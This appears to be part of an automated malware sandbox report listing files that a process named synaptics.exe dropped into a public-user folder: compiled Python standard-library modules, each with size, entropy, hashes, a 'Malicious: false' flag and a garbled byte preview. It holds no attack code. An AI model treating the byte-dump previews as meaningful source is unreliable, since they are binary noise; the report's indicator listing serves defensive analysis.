Preview:	o........'-d.........................@...s@...d.Z.d.d.l.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).z=.The objects used by the site module to add custom builtins.......Nc....................@...s&...e.Z.d.Z.d.d...Z.d.d...Z.d.d.d...Z.d.S.)...Quitterc....................C...s....\|.\|._.\|.\|._.d.S...N....name..eof)...selfr....r......r.....1C:\Users\Public\QExvbmVOb25l\lib\_sitebuiltins.py..__init__....s........z.Quitter.__init__c....................C...s....d.\|.j.\|.j.f...S.).Nz.Use %s() or %s to exitr......r....r....r....r......__repr__....s......z.Quitter.__repr__Nc....................C...s&...z.t.j.......W.t.\|...........Y.t.\|.....r....)...sys..stdin..close..SystemExit).r......coder....r....r......__call__....s................z.Quitter.__call__r....)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r........s............r....c....................@...s6...e.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._Printerzninteractive prompt objects for prin

C:\Users\Public\QExvbmVOb25l\Lib\pycache\_weakrefset.cpython-310.pyc.55933096

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7621
Entropy (8bit):	4.6115045510590225
Encrypted:	false
SSDEEP:	192:6oIAmOjav3ze0qLnKFHWpLiEEskjXoNizml+Ws2w13TvqcJlnqJEqBTgztqetKHs:3IAbj236LTKF2pLiE3kjXoEzml+Ws2wV
MD5:	A93DBD13CC36FB1CF8CC9B7081F3AA19
SHA1:	937C31A6577EA326A12A3FA28A1B079CBFB8C835
SHA-256:	F1FDC082CF96C8065C324AC72B43E20C037DE7BFD555BCD9CBA53B8305A70066
SHA-512:	0E2C9C67B531C5A4E04B842CF353452BC285370BCFDA1A58A90A9E5E20E658F0CA72E382679897920D8990398C29E8B3EEC385F15B32A625714B738843F9BDCC
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s>...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.G.d.d...d...Z.G.d.d...d...Z.d.S.)..........ref)...GenericAlias..WeakSetc....................@...s$...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._IterationGuardc....................C...s....t.\|...\|._.d.S...N).r......weakcontainer)...selfr......r...../C:\Users\Public\QExvbmVOb25l\lib\_weakrefset.py..__init__....s......z._IterationGuard.__init__c....................C...s ...\|.....}.\|.d.u.r.\|.j...\|.....\|.S.r....).r......_iterating..add).r......wr....r....r......__enter__....s............z._IterationGuard.__enter__c....................C...s8...\|.....}.\|.d.u.r.\|.j.}.\|...\|.....\|.s.\|.......d.S.d.S.d.S.r....).r....r......remove.._commit_removals).r......e..t..br......sr....r....r......__exit__....s....................z._IterationGuard.__exit__N)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r........s............r....c....................@...s&...e.Z.d.Z.d@d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.

C:\Users\Public\QExvbmVOb25l\Lib\pycache\abc.cpython-310.pyc.15056192

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6764
Entropy (8bit):	5.125302554277043
Encrypted:	false
SSDEEP:	192:ic2+dPAF6MGWUls1p2N8R6Diag2z9o2Ue4loXLk5ebUtoH:j2+dPPMGxYtag2VXLk5ewc
MD5:	F652B2BE95086C5A295D33B907313E7D
SHA1:	3C9BA26D01695AADB1DBA32753D3D1BAC28CC3FD
SHA-256:	3E8DD6D0013BA0FEF3B2A80D5744289E3C62E34F07427E5A44E7A16F7DC6C772
SHA-512:	6CCA9D47DAA7CE216078E7E63D304D040CAECE6B110CB30C6FE639EEB40F0E07753633AD8C332CD26ECC06095CED73C01ED31E240BCD858F377D1B2FD38E2A2E
Malicious:	false
Reputation:	low
Preview:	o........'-d6........................@...s....d.Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...W.n...e.yH......d.d.l.m.Z.m.Z...d.e._.Y.n.w.G.d.d...d.e...Z.d.d...Z.G.d.d...d.e.d...Z.d.S.).z3Abstract Base Classes (ABCs) according to PEP 3119.c....................C...s....d.\|._.\|.S.).a<...A decorator indicating abstract methods... Requires that the metaclass is ABCMeta or derived from it. A. class that has a metaclass derived from ABCMeta cannot be. instantiated unless all of its abstract methods are overridden.. The abstract methods can be called using any of the normal. 'super' call mechanisms. abstractmethod() may be used to declare. abstract methods for properties and descriptors... Usage:.. class C(metaclass=ABCMeta):. @abstractmethod. def my_abstract_method(self, ...):. .... T)...__isabstractmethod__).Z.funcobj..r.....'C:\Users\Public\QExvbmVOb25l\lib\abc.py..ab

C:\Users\Public\QExvbmVOb25l\Lib\pycache\ast.cpython-310.pyc.70517248

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	55752
Entropy (8bit):	5.278446087691415
Encrypted:	false
SSDEEP:	768:v4tQGlgD7UjM0gB2ze0GIHimylhWNbflS8rHKMAsSbUgUU0/9eKQddNhvDqIUy7w:v4+GlgD7Uj4B2XNHehW7uVvuIlPgj
MD5:	5BC5B230DC2A26F04CEE94AEC9F33158
SHA1:	7A93B420BF777753170523A6A735F8D46A973E04
SHA-256:	363954A7D63FCD4E9561A141DD7C8F7C5E25F8562EB9AE09CCE3106C8671D9AC
SHA-512:	2C50F3711F6E8A2D9B809011C13225A0683A8D6A299A28EA0BC549193C93F79ADEE7788432D4B0833B1CE288E7971E689904494ED28365C545AF1224DFBFD4D1
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d`d.d.d...d.d...Z.d.d...Z.dad.d...d.d...Z.d.d...Z.d.d...Z.dbd.d...Z.d.d...Z.d.d...Z.dcd.d...Z.d.d ..Z.d!d"..Z.d.d#..d$d%..Z.d&d'..Z.G.d(d)..d)e...Z.G.dd+..d+e...Z.e.e.d,..s.d-d...Z.d/d0..Z.e.e.e...e._.e.e.e...e._.G.d1d2..d2e ..Z!d3d4..Z"G.d5d6..d6e.e!d7..Z#G.d8d9..d9e.e!d7..Z$G.d:d;..d;e.e!d7..Z%G.d<d=..d=e.e!d7..Z&G.d>d?..d?e.e!d7..Z'e#e(e)ef.e$e+f.e%e,f.e&e d...e-f.e'e d@..f.i.Z.e#e-f.i.Z/e-d=e d...d=e(d6e)d6e*d6e+d9e,d;e d@..d?i.Z0G.dAdB..dBe1..Z2G.dCdD..dDe2..Z3G.dEdF..dFe2..Z4e.e5dG....s"dHdI..Z6dJdK..Z7e.e6e7..e5_8G.dLdM..dMe9..Z:G.dNdO..dOe;..Z<G.dPdQ..dQe;..Z=G.dRdS..dSe;..Z>dTe?e.j@jAd.......ZBG.dUdV..dVe...ZCdWZDdXZEg.eD..eE..R.ZFG.dYdZ..dZe...ZGd[d\..ZHd]d^..ZIeJd_k...ryeI....d.S.d.S.)daH.... ast. ~~~.. The `ast` module helps Python applications to process trees of the Python. abstract syntax grammar. The abstract syntax itself might change with. each Python re

C:\Users\Public\QExvbmVOb25l\Lib\pycache\base64.cpython-310.pyc.25841984

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17175
Entropy (8bit):	5.496809791634414
Encrypted:	false
SSDEEP:	192:KZvQ1tayn9wBqXY71hITEOtuAk8CUSSYkXJ20RQa83hg9M6o0RzuQcT/zlNFs61V:4qay9wgo71hITOtHYP9M70xuzRNG61V3
MD5:	9D08860527321B2AF680F9F02516272C
SHA1:	A9F653311F52A3CA0EAD0CFA45D86D547A4FF71F
SHA-256:	58A6CD8139E2D8E2E08D8AF2A159AB6E510A339568BB1DAEBF89A36A2B6FA127
SHA-512:	0B6288767F558D5B3860EA6B0237727D021FF5E34205D4C1A79DA02C9AFB96AFDDDAC444C2F3EBEED45E91208572EE7850CB8506AECF22160F78B466BD5642BD
Malicious:	false
Reputation:	low
Preview:	o........'-d.S.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.e.e.f.Z.d.d...Z.dQd.d...Z.dRd.d...Z.d.d...Z.d.d...Z.e...d.d...Z.e...d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.i.a.i.a.d.d...Z.dSd.d...Z.d.d...Z.e.j.d d!..e._.dSd"d#..Z.e.j.d e.d$..e._.d%d&..Z.e.j.d'd!..e._.dTd(d)..Z.e.j.d'dd$..e._.d+d,..Z dTd-d...Z!d.a"d.a#d/Z$d0Z%dUd1d2..Z&d.d.d.d.d3..d4d5..Z'd.d.d6d7..d8d9..Z(d:Z)d.ad.a+d.a,dTd;d<..Z-d=d>..Z.d?Z/e/d@..dA..Z0dBdC..Z1dDdE..Z2dFdG..Z3dHdI..Z4dJdK..Z5dLdM..Z6dNdO..Z7e8dPk.r.e6....d.S.d.S.)VzDBase16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings.....N)...encode..decode..encodebytes..decodebytes..b64encode..b64decode..b32encode..b32decode..b32hexencode..b32hexdecode..b16encode..b16decode..b85encode..b85decode..a85encode..a85decode..standard_b64encode..standard_b64decode..urlsafe_b64encode..urlsafe_b64decodec....................C...sl...t.\|.t...r.z.\|...d...W.S...t.y.......t.d.....w.t.\|.t...r.\|.S.z.t.\|.......W.S...t.y5......t.d.\|.j.j.....d...

C:\Users\Public\QExvbmVOb25l\Lib\pycache\bisect.cpython-310.pyc.25653280

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2601
Entropy (8bit):	5.2176156290909645
Encrypted:	false
SSDEEP:	48:TChwHaPJ7Bn7V30EOCl7VU3OpOBn7B3wCLnCRl7VC39eV:TCh7Bx30EOC03OpOB93wGCRi34V
MD5:	E347D2F2FAFE6B8C94ADCD8874825E9E
SHA1:	3FE38B242A5BBE1DC656CB152AE65E9EED803DE5
SHA-256:	93A4FB26F551AFFC901DD6E8A9647B13E1441893B77CA38CF089C3663A6CE0A9
SHA-512:	6AD3AF2C2C6EE66CD4D2A4ADFA1A0E057A0FD002B249300F47C7E9704972D1AEF05F21F3B453AA5DD10FBED567B27C026D66BF5E3A2054D8C064626639379C55
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sp...d.Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.z.d.d.l.T.W.n...e.y1......Y.n.w.e.Z.e.Z.d.S.).z.Bisection algorithms......N....keyc....................C....>...\|.d.u.r.t.\|.\|.\|.\|...}.n.t.\|.\|.\|...\|.\|.\|.d...}.\|...\|.\|.....d.S.).z.Insert item x in list a, and keep it sorted assuming a is sorted... If x is already in a, insert it to the right of the rightmost x... Optional args lo (default 0) and hi (default len(a)) bound the. slice of a to be searched.. Nr....)...bisect_right..insert....a..x..lo..hir......r.....*C:\Users\Public\QExvbmVOb25l\lib\bisect.py..insort_right....s............r....c....................C...s....\|.d.k.r.t.d.....\|.d.u.r.t.\|...}.\|.d.u.r1\|.\|.k.r/\|.\|...d...}.\|.\|.\|...k.r'\|.}.n.\|.d...}.\|.\|.k.s.\|.S.\|.\|.k.rN\|.\|...d...}.\|.\|.\|.\|.....k.rF\|.}.n.\|.d...}.\|.\|.k.s5\|.S.).a....Return the index where to insert item x in list a, assuming a is sorted... The return value i is such that all e in a[:i] have e <=

C:\Users\Public\QExvbmVOb25l\Lib\pycache\bz2.cpython-310.pyc.55516672

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	10883
Entropy (8bit):	5.273434895618239
Encrypted:	false
SSDEEP:	192:66Eb2RL5RaQHzW6FVoDCGEUPIzSh/NHSN:3RL5RLpGPIzG/NyN
MD5:	67F18F8BF51412363C99EF09481528B9
SHA1:	53C69583DE5B514EEED0A42CCB3BF9909A4D2708
SHA-256:	CEB4FF349FC848D3386257E60D5AA336F5917F0E6E81C3E99EF6DA6AD444D800
SHA-512:	37E2626B2DCAF4EF78C7AD3FFA2AD1212C80EFBF75671247FF65CE2DA670254E253551479A2ECC23C1217850C6811FE1117AB165C04B092CBFD8F70975F0F3F5
Malicious:	false
Reputation:	low
Preview:	o........'-d./.......................@...s....d.Z.g.d...Z.d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.....d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z.Interface to the libbzip2 compression library...This module provides a file interface, classes for incremental.(de)compression, and functions for one-shot (de)compression..)...BZ2File..BZ2Compressor..BZ2Decompressor..open..compress..decompressz%Nadeem Vawda <nadeem.vawda@gmail.com>.....).r....N).r....r..............c....................@...s....e.Z.d.Z.d.Z.dd.d...d.d...Z.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d+d.d...Z.d,d.d...Z.d,d.d...Z.d.d...Z.d,d.d...Z.d,d.d ..Z.d!d"..Z.d#d$..Z.e.j.f.d%d&..Z.d'd(..Z.d)S.)-r....a@...A file object providing transparent bzip2 (de)compression... A BZ2File can act as a wrapper for an existing file object, or refer. directly to a named file on disk... Note that BZ2File provides a binary* file interface - data read is. returned as bytes, and data t

C:\Users\Public\QExvbmVOb25l\Lib\pycache\calendar.cpython-310.pyc.30423616

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	26316
Entropy (8bit):	5.2318516322769195
Encrypted:	false
SSDEEP:	768:qLfNsz3TQClly8bR9PS2qYRhWmBM2A9M/PNKGH:qhmHS2qgw29KGH
MD5:	6F6346D8B7485E409B6C121B774CDF63
SHA1:	4560BC78FA6A965C5DDC0BC639732DBAB041B9BF
SHA-256:	C47DB162E02835DB74757FD6B72B0B252F2D0D640D53071F922B957ACE68EA80
SHA-512:	93ABC0ABD4CADDA418CCB60BAE643D56789826B1F0BE44D6D7102C1668F33EFCC0B2E69E0EC9C26141EE323D974943D2468357ADC0CD1FBB639680E0F0680F22
Malicious:	false
Reputation:	low
Preview:	o........'-d.b.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...g.d...Z.e.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.Z.d.Z.g.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...\.Z.Z.Z.Z.Z.Z.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d ..Z"d!d"..Z#G.d#d$..d$e$..Z%G.d%d&..d&e%..Z&G.d'd(..d(e%..Z'G.d)d..d..Z(G.d+d,..d,e&..Z)G.d-d...d.e'..Z*e&..Z+e+j,Z-d/d0..Z.e+j/Z0e+j1Z1e+j2Z3e+j4Z5e+j6Z6e+j7Z8e+j9Z:e+j;Z<d1Z=d2Z>e=e>f.d3d4..Z?e=e>f.d5d6..Z@d7ZAe..BeAd.d....C..ZDd8d9..ZEd:d;..ZFeGd<k.r.eFe.jH....d.S.d.S.)=a$...Calendar printing functions..Note when comparing these calendars to the ones printed by cal(1): By.default, these calendars have Monday as the first day of the week, and.Sunday as the last (the European convention). Use setfirstweekday() to.set the first day of the week (0=Monday, 6=Sunday)......N)...repeat)...IllegalMonthError..IllegalWeekdayError..setfirstweekday..firstweekday..isleap..leapdays..weekday..monthrange..monthcalendar..prmonth..m

C:\Users\Public\QExvbmVOb25l\Lib\pycache\codecs.cpython-310.pyc.15056192

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	33232
Entropy (8bit):	5.022164527801481
Encrypted:	false
SSDEEP:	768:5v/o6wZxokNQceWYXgYD7msLySGRbmOZwENNflPKPBxKa:5hUkFrOZwENNflPKPBxKa
MD5:	6FA6A65F71E94B617C6B09F550AFB1A5
SHA1:	493D5DBD8BB4907A8F5D6968A5585BE0F597DF93
SHA-256:	47519EA63915306DAC39CF06D22ACFE336D2E0AD55022FC8A9BB1370D55E9F58
SHA-512:	34E6FB9A37E373B036ED005C2EB9A8AA22582D3D66C45C9382D281D332DA9C78A4E491AD6ED8831F21456FA42C1BDCF09268377991F116AE76E44ED16E442DC1
Malicious:	false
Reputation:	low
Preview:	o........'-d........................@...sD...d.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.T.W.n...e.y"..Z...z.e.d.e.......d.Z.[.w.w.g.d...Z.d.Z.d...Z.Z.d...Z.Z.d.Z.d.Z.e.j.d.k.rAe...Z.Z.e.Z.n.e...Z.Z.e.Z.e.Z.e.Z.e.Z.e.Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z G.d.d...d...Z!G.d.d...d...Z"dCd#d$..Z#dDd%d&..Z$d'd(..Z%d)d..Z&d+d,..Z'd-d...Z(d/d0..Z)d1d2..ZdEd3d4..Z+dEd5d6..Z,d7d8..Z-d9d:..Z.z.e/d!..Z0e/d;..Z1e/d<..Z2e/d=..Z3e/d>..Z4e/d?..Z5W.n...e6y.......d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5Y.n.w.d.Z7e7..r.d.d.l8Z8e9d@k...r e$e.j:dAdB..e._:e$e.j;dBdA..e._;d.S.d.S.)Fz. codecs -- Python Codec Registry, API and helpers....Written by Marc-Andre Lemburg (mal@lemburg.com)...(c) Copyright CNRI, All Rights Reserved. NO WARRANTY........N)...*z%Failed to load the builtin codecs: %s),..register..lookup..open..EncodedFile..BOM..BOM_BE..BOM_LE..BOM32_BE..BOM32_LE..BOM64_BE..BOM64_LE..BOM_UTF8..BOM_UTF16..BOM_UTF16_LE..BOM_UTF16_BE..BOM_UTF32..

C:\Users\Public\QExvbmVOb25l\Lib\pycache\contextlib.cpython-310.pyc.56025696

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	20908
Entropy (8bit):	5.083956166779034
Encrypted:	false
SSDEEP:	384:rrfHbNxImphzxb/Dqd89tiVqnWcxavd5VCqXfNnpJ:vfHbNxhzpqd2OqnWvQAFf
MD5:	FB239E9BB3DB1B804BA6CEC9D6633670
SHA1:	EB3AD57CDADBF29A9539D83EAA6B3263DD51E817
SHA-256:	CDA6B84A2CCD746721405BC4021721BE9DABF44D04BBDEB80E39157448CEE31B
SHA-512:	AF45A4B34964D4C7F958A6481E103831B660CF664FE72FC3D7E324D3000292AD8FD3A815D66E1F21BF53D6CDBB1FDBA2038B31CA8804A5344724585CAF23D4F1
Malicious:	false
Reputation:	low
Preview:	o........'-d.h.......................@...s~...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e.e.e...Z.G.d.d...d.e.e.e...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e...Z.G.d!d"..d"e...Z.G.d#d$..d$e...Z.G.d%d&..d&..Z.G.d'd(..d(e.e...Z.G.d)d..de.e...Z.G.d+d,..d,e.e...Z d.S.)-z4Utilities for with-statement contexts. See PEP 343......N)...deque....wraps)...MethodType..GenericAlias)...asynccontextmanager..contextmanager..closing..nullcontext..AbstractContextManager..AbstractAsyncContextManager..AsyncExitStack..ContextDecorator..ExitStack..redirect_stdout..redirect_stderr..suppress..aclosingc....................@....:...e.Z.d.Z.d.Z.e.e...Z.d.d...Z.e.j.d.d.....Z.e.d.d.....Z.d.S.).r....z,An abstract base class for context managers.c....................C........\|.S...z0Return `self` upon entering the runtime context.......selfr....r......C:

C:\Users\Public\QExvbmVOb25l\Lib\pycache\copy.cpython-310.pyc.61345184

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7009
Entropy (8bit):	5.42128193557331
Encrypted:	false
SSDEEP:	192:lxPakDZxS5GXVc3isTDOuyib91quyccWEQTidqf2hMQkNv4n5q:Pa0/S5GlcR/Iib9wEREkidQ2Ov4k
MD5:	8A6882910EFF4F8BCDDEBEA1A635DF0B
SHA1:	57BB8DE367A62564558E2A3316077A6DD49E0445
SHA-256:	D3B997323BF5D5DBA53F0D5C94F608FD8358DF1EDDCC6CACB542514676E973C8
SHA-512:	523D910548F98ABEBA52779B9EEB05D3B69B0C1DDD21C46C048DE90597AFF062C7468E01EB9EDA6C906BF59B330049C08C455EB890AEE253246B3AF9A932AC3E
Malicious:	false
Reputation:	low
Preview:	o........'-d.#.......................@...sV...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...G.d.d...d.e...Z.e.Z.z.d.d.l.m.Z...W.n...e.y-......d.Z.Y.n.w.g.d...Z.d.d...Z.i...Z.Z.d.d...Z.e.d...e.e.e.e.e.e.e.e.e.e.e.e.e.j.e.e...e.e...e.j.e.j f.D.].Z!e.e.e!<.q[e"e.d.d...Z!e!d.u.rpe.e.e!<.e#j.e.e#<.e$j.e.e$<.e%j.e.e%<.e&j.e.e&<.e.d.u.r.e.j.e.e.<.[.[!d.g.f.d.d...Z'i...Z(Z.d.d...Z)e)e.e.d...<.e)e.e.e...<.e)e.e.e...<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.j*<.e)e.e.<.e)e.e.<.e)e.e.j.<.e)e.e.j.<.e)e.e.j <.e)e.e.<.e'f.d.d...Z+e+e.e#<.e'f.d.d...Z,e,e.e.<.e'f.d.d...Z-e-e.e$<.e.d.u...r.e-e.e.<.d.d...Z.e.e.e.j/<.[.d.d...Z0..d.e'd...d.d...Z1[.[.[.d.S.).a....Generic (shallow and deep) copying operations...Interface summary:.. import copy.. x = copy.copy(y) # make a shallow copy of y. x = copy.deepcopy(y) # make a deep copy of y..For module specific errors, copy.Error is raised...The difference between shallow and deep copying is only relevant for.compound objects (object

C:\Users\Public\QExvbmVOb25l\Lib\pycache\copy.cpython-310.pyc.75075808

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7009
Entropy (8bit):	5.42128193557331
Encrypted:	false
SSDEEP:	192:lxPakDZxS5GXVc3isTDOuyib91quyccWEQTidqf2hMQkNv4n5q:Pa0/S5GlcR/Iib9wEREkidQ2Ov4k
MD5:	8A6882910EFF4F8BCDDEBEA1A635DF0B
SHA1:	57BB8DE367A62564558E2A3316077A6DD49E0445
SHA-256:	D3B997323BF5D5DBA53F0D5C94F608FD8358DF1EDDCC6CACB542514676E973C8
SHA-512:	523D910548F98ABEBA52779B9EEB05D3B69B0C1DDD21C46C048DE90597AFF062C7468E01EB9EDA6C906BF59B330049C08C455EB890AEE253246B3AF9A932AC3E
Malicious:	false
Reputation:	low
Preview:	o........'-d.#.......................@...sV...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...G.d.d...d.e...Z.e.Z.z.d.d.l.m.Z...W.n...e.y-......d.Z.Y.n.w.g.d...Z.d.d...Z.i...Z.Z.d.d...Z.e.d...e.e.e.e.e.e.e.e.e.e.e.e.e.j.e.e...e.e...e.j.e.j f.D.].Z!e.e.e!<.q[e"e.d.d...Z!e!d.u.rpe.e.e!<.e#j.e.e#<.e$j.e.e$<.e%j.e.e%<.e&j.e.e&<.e.d.u.r.e.j.e.e.<.[.[!d.g.f.d.d...Z'i...Z(Z.d.d...Z)e)e.e.d...<.e)e.e.e...<.e)e.e.e...<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.j*<.e)e.e.<.e)e.e.<.e)e.e.j.<.e)e.e.j.<.e)e.e.j <.e)e.e.<.e'f.d.d...Z+e+e.e#<.e'f.d.d...Z,e,e.e.<.e'f.d.d...Z-e-e.e$<.e.d.u...r.e-e.e.<.d.d...Z.e.e.e.j/<.[.d.d...Z0..d.e'd...d.d...Z1[.[.[.d.S.).a....Generic (shallow and deep) copying operations...Interface summary:.. import copy.. x = copy.copy(y) # make a shallow copy of y. x = copy.deepcopy(y) # make a deep copy of y..For module specific errors, copy.Error is raised...The difference between shallow and deep copying is only relevant for.compound objects (object

C:\Users\Public\QExvbmVOb25l\Lib\pycache\copyreg.cpython-310.pyc.22175136

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4696
Entropy (8bit):	5.303895801025462
Encrypted:	false
SSDEEP:	96:ZCI7QMLHGjZ99X1XBrxbbJz0uqhUaCWfqmb5p2LYHjmTrhqH3TpYXGP2:HvHGTBrpb56eWfhqLYHjmTkH3TpY2P2
MD5:	4956B984789B3AD8CADD785E32F6FBDA
SHA1:	33C23B1CB5AF3775A19858ABF80E0523C14314A6
SHA-256:	FC9898F699ADF969F40BF7E4AEAB254B8616B90D79ED18B8111473B63D1DBCA8
SHA-512:	C0EDEE3095EB4024FCA2573E28FC51E6A1546072CA7299CD8CAE05163EE45676B9903CA1B8B07137E95BE06116ABF7DC1BCBEF95EBD651B42AEB5F97BBA905F5
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.g.d...Z.i.Z.d.d.d...Z.d.d...Z.z.e...W.n...e.y.......Y.n.w.d.d...Z.e.e.e.e.....d.d...Z.e.e.e.e.B...e.....d.d...Z.d.Z.e.e.j...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.i.Z.i.Z.i.Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z.Helper to provide extensibility for pickle...This is only useful to add pickle support for extension types defined in.C, not for instances of user-defined classes..)...pickle..constructor..add_extension..remove_extension..clear_extension_cacheNc....................C...s0...t.\|...s.t.d.....\|.t.\|.<.\|.d.u.r.t.\|.....d.S.d.S.).Nz$reduction functions must be callable)...callable..TypeError..dispatch_tabler....).Z.ob_typeZ.pickle_functionZ.constructor_ob..r.....+C:\Users\Public\QExvbmVOb25l\lib\copyreg.pyr........s................r....c....................C...s....t.\|...s.t.d.....d.S.).Nz.constructors must be callable).r....r....)...objectr....r....r....r........s..........r....c....................C...s....t.\|.j.\|.j.f.f.S...N)...complex..real..

C:\Users\Public\QExvbmVOb25l\Lib\pycache\csv.cpython-310.pyc.74120512

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11811
Entropy (8bit):	5.44611565753646
Encrypted:	false
SSDEEP:	192:WJq1+BG5hSIQIWWvBMKumwKZdlXiWQA3LYPqOW9PJFoKzckOMsj9XCCDH:WJqJLSIQ2OKuuZrXiWQA0shzJaYWH
MD5:	8478D69950654B565547F512ECB134FE
SHA1:	17E227E0F1F7CEDA398E7686366E65842DBE4871
SHA-256:	857FB4AFFE24A3C2832216CDA181338D5469A5B6A9D02DBC4D97C5008EFAC260
SHA-512:	2FEF72AB585D43E98F939F4EF328B773016929ACC1C8B94E94C0C3CD735A7F71D9413F7F2592BCE6884688C5E22FB7F93D1AB0DB4FF2B2227DF05C5DC0F86CE3
Malicious:	false
Reputation:	low
Preview:	o........'-dZ@.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.e.d.e.....G.d.d...d.e...Z.e.d.e.....G.d.d...d.e...Z.e.d.e.....G.d.d...d...Z.G.d.d...d...Z.z.e...W.n...e.y.......e.Z.Y.n.w.G.d.d...d...Z.d.S.).z+.csv.py - read/write/investigate CSV files......N)...Error..__version__..writer..reader..register_dialect..unregister_dialect..get_dialect..list_dialects..field_size_limit..QUOTE_MINIMAL..QUOTE_ALL..QUOTE_NONNUMERIC..QUOTE_NONE..__doc__)...Dialect)...StringIO).r....r....r....r....r....r....r......excel..excel_tabr....r....r....r....r....r......Snifferr....r......DictReader..DictWriter..unix_dialectc....................@...sD...e.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.).r....z.Describe a CSV dialect... This must be subclassed (see csv.excel). Valid attributes are:. delimiter, quotechar, escapechar, doublequote, skipinitialspace,.

C:\Users\Public\QExvbmVOb25l\Lib\pycache\datetime.cpython-310.pyc.30422368

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	56546
Entropy (8bit):	5.249930277934686
Encrypted:	false
SSDEEP:	1536:NoP8dGbiwEyaNVxLZnkM238oZMpA635Kw9uUFoYH:NW+1LMP0
MD5:	8151DD2F38C63F1B9D66144A6A90246A
SHA1:	B9A6C9B8425F367AC9F492517126356969EF0A46
SHA-256:	D3A053F9B935CB2EBD2B4716703A6281C129EE94664850E8F4651F4689222FAA
SHA-512:	481CDAE98BE67B17039B6279FFCDBC027DB6CEA5ABD189F3F9C51B90682F249F39262BB6D94277571F52828948DDEEFB07B6660AE2E2C25C06AB4C1E0300AEE5
Malicious:	false
Reputation:	low
